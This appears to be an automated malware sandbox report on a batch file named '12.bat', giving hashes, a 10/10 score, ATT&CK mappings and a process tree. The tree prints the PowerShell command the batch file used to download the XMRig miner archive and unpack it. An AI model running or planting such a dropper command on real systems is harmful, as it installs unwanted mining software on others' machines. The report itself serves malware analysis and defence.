c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

12.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2132 powershell.exe
6 2132 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2132 powershell.exe
2148 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2132 powershell.exe
2148 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2132 powershell.exe
Token: SeDebugPrivilege 2148 powershell.exe

flow	pid	process
5	2132	powershell.exe
6	2132	powershell.exe

pid	process
2132	powershell.exe
2148	powershell.exe

pid	process
2132	powershell.exe
2148	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3060 wrote to memory of 2132	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2132	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2132	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2148	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2148	3060	cmd.exe	powershell.exe
PID 3060 wrote to memory of 2148	3060	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\12.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\35RTXB9PRJ8U38OHYLCK.temp
Filesize
7KB

MD5
646692e6e76270f436a0babeeba5978f

SHA1
e3101809bc4ce6c44cd2d05731aa3abd7ca01873

SHA256
963714d17f113258f725d696f7d780cf0aa85a7107e692070f2bbf5967f69497

SHA512
d3144cff9f969332b6449e8156684d71b37a44a7fb349e9da7a96a22acde1dbdaee63fb0634f29d58e20fe65918d8bc5e6c773303410236eba008454a81bf39e

Download Submit
memory/2132-4-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp

Filesize
4KB

Download
memory/2132-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2132-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2132-7-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-9-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-8-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-10-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-12-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-19-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2148-18-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download